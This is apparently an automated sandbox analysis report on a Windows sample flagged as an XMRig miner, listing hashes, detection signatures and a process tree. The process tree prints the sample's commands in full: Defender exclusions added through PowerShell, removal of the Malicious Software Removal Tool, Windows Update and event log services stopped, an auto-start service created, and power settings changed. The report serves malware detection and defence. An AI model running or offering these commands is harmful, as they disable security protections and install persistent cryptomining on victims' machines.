Analysis
-
max time kernel
120s -
max time network
105s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
22/12/2024, 15:22
Static task
static1
Behavioral task
behavioral1
Sample
c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe
Resource
win7-20240903-en
General
-
Target
c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe
-
Size
5.6MB
-
MD5
65637314a0e64318dd305a61eec7ca80
-
SHA1
234aba265ac4627c699f181ba4a3110165d6b6d9
-
SHA256
c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19b
-
SHA512
406f17e547901ac1ff2efef50519ed6caec7e26b76f853f90da846c9051035a8f48c2f1ae343780c02b8a32d9df628dab43fd0bb57884f04d1637fcea656b5e0
-
SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
-
Xmrig family
-
XMRig Miner payload 11 IoCs
resource yara_rule behavioral2/memory/4636-62-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4636-61-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4636-68-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4636-67-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4636-66-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4636-65-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4636-64-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4636-69-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4636-71-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4636-72-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/4636-73-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4656 powershell.exe 3960 powershell.exe -
Creates new service(s) 2 TTPs
-
Executes dropped EXE 1 IoCs
pid Process 3720 lutlgidagtja.exe -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 1360 powercfg.exe 3644 powercfg.exe 2808 powercfg.exe 4180 powercfg.exe 4936 powercfg.exe 3752 powercfg.exe 2896 powercfg.exe 4380 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3720 set thread context of 2984 3720 lutlgidagtja.exe 151 PID 3720 set thread context of 4636 3720 lutlgidagtja.exe 156 -
resource yara_rule behavioral2/memory/4636-56-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-57-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-62-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-61-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-60-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-68-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-67-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-66-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-65-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-64-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-58-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-59-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-69-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-71-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-72-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/4636-73-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2396 sc.exe 2212 sc.exe 396 sc.exe 1000 sc.exe 1812 sc.exe 2080 sc.exe 3140 sc.exe 5084 sc.exe 4244 sc.exe 4792 sc.exe 4264 sc.exe 1996 sc.exe 4396 sc.exe 1980 sc.exe -
Modifies data under HKEY_USERS 46 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 4656 powershell.exe 4656 powershell.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3668 c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe 3720 lutlgidagtja.exe 3960 powershell.exe 3960 powershell.exe 3720 lutlgidagtja.exe 3720 lutlgidagtja.exe 3720 lutlgidagtja.exe 3720 lutlgidagtja.exe 3720 lutlgidagtja.exe 3720 lutlgidagtja.exe 3720 lutlgidagtja.exe 3720 lutlgidagtja.exe 3720 lutlgidagtja.exe 3720 lutlgidagtja.exe 3720 lutlgidagtja.exe 3720 lutlgidagtja.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe 4636 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeDebugPrivilege 4656 powershell.exe Token: SeShutdownPrivilege 4380 powercfg.exe Token: SeCreatePagefilePrivilege 4380 powercfg.exe Token: SeShutdownPrivilege 2896 powercfg.exe Token: SeCreatePagefilePrivilege 2896 powercfg.exe Token: SeShutdownPrivilege 3644 powercfg.exe Token: SeCreatePagefilePrivilege 3644 powercfg.exe Token: SeShutdownPrivilege 1360 powercfg.exe Token: SeCreatePagefilePrivilege 1360 powercfg.exe Token: SeDebugPrivilege 3960 powershell.exe Token: SeShutdownPrivilege 2808 powercfg.exe Token: SeCreatePagefilePrivilege 2808 powercfg.exe Token: SeShutdownPrivilege 3752 powercfg.exe Token: SeCreatePagefilePrivilege 3752 powercfg.exe Token: SeShutdownPrivilege 4180 powercfg.exe Token: SeCreatePagefilePrivilege 4180 powercfg.exe Token: SeShutdownPrivilege 4936 powercfg.exe Token: SeCreatePagefilePrivilege 4936 powercfg.exe Token: SeLockMemoryPrivilege 4636 nslookup.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 1072 wrote to memory of 624 1072 cmd.exe 103 PID 1072 wrote to memory of 624 1072 cmd.exe 103 PID 3184 wrote to memory of 4404 3184 cmd.exe 130 PID 3184 wrote to memory of 4404 3184 cmd.exe 130 PID 3272 wrote to memory of 4828 3272 cmd.exe 138 PID 3272 wrote to memory of 4828 3272 cmd.exe 138 PID 3720 wrote to memory of 2984 3720 lutlgidagtja.exe 151 PID 3720 wrote to memory of 2984 3720 lutlgidagtja.exe 151 PID 3720 wrote to memory of 2984 3720 lutlgidagtja.exe 151 PID 3720 wrote to memory of 2984 3720 lutlgidagtja.exe 151 PID 3720 wrote to memory of 2984 3720 lutlgidagtja.exe 151 PID 3720 wrote to memory of 2984 3720 lutlgidagtja.exe 151 PID 3720 wrote to memory of 2984 3720 lutlgidagtja.exe 151 PID 3720 wrote to memory of 2984 3720 lutlgidagtja.exe 151 PID 3720 wrote to memory of 2984 3720 lutlgidagtja.exe 151 PID 3720 wrote to memory of 4636 3720 lutlgidagtja.exe 156 PID 3720 wrote to memory of 4636 3720 lutlgidagtja.exe 156 PID 3720 wrote to memory of 4636 3720 lutlgidagtja.exe 156 PID 3720 wrote to memory of 4636 3720 lutlgidagtja.exe 156 PID 3720 wrote to memory of 4636 3720 lutlgidagtja.exe 156
Processes
-
C:\Users\Admin\AppData\Local\Temp\c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe"C:\Users\Admin\AppData\Local\Temp\c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:3668 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4656
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:624
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:4264
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1996
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:396
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2396
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1000
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2896
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4380
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3644
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1360
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:1812
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:2080
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:3140
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:4396
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19bN.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3184 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4404
-
-
-
C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3720 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3960
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:3272 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:4828
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:5084
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1980
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2212
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:4792
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:4244
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2808
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4180
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4936
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3752
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2984
-
-
C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4636
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5.6MB
MD565637314a0e64318dd305a61eec7ca80
SHA1234aba265ac4627c699f181ba4a3110165d6b6d9
SHA256c2e4a476e34964a78664434d1906da12805339c099dbf380bad463b47ec6d19b
SHA512406f17e547901ac1ff2efef50519ed6caec7e26b76f853f90da846c9051035a8f48c2f1ae343780c02b8a32d9df628dab43fd0bb57884f04d1637fcea656b5e0
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82